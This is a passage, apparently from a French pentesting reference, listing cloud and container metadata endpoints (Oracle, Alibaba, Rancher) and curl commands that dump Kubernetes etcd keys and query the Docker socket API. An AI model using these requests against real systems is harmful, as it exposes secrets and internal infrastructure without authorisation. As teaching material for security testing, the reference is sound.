Cloud Oracle Cloud fournit une série de points de terminaison pour accéder à divers aspects des métadonnées : - `http://192.0.0.192/latest/` - `http://192.0.0.192/latest/user-data/` - `http://192.0.0.192/latest/meta-data/` - `http://192.0.0.192/latest/attributes/` ## Alibaba Alibaba offre des points de terminaison pour accéder aux métadonnées, y compris les ID d'instance et d'image : - `http://100.100.100.200/latest/meta-data/` - `http://100.100.100.200/latest/meta-data/instance-id` - `http://100.100.100.200/latest/meta-data/image-id` ## Kubernetes ETCD Kubernetes ETCD peut contenir des clés API, des adresses IP internes et des ports. L'accès est démontré par : - `curl -L http://127.0.0.1:2379/version` - `curl http://127.0.0.1:2379/v2/keys/?recursive=true` ## Docker Les métadonnées Docker peuvent être accessibles localement, avec des exemples donnés pour la récupération d'informations sur les conteneurs et les images : - Exemple simple pour accéder aux métadonnées des conteneurs et des images via le socket Docker : - `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash` - À l'intérieur du conteneur, utilisez curl avec le socket Docker : - `curl --unix-socket /var/run/docker.sock http://foo/containers/json` - `curl --unix-socket /var/run/docker.sock http://foo/images/json` ## Rancher Les métadonnées de Rancher peuvent être accessibles en utilisant : - `curl http://rancher-metadata//` {{#include ../../banners/hacktricks-training.md}}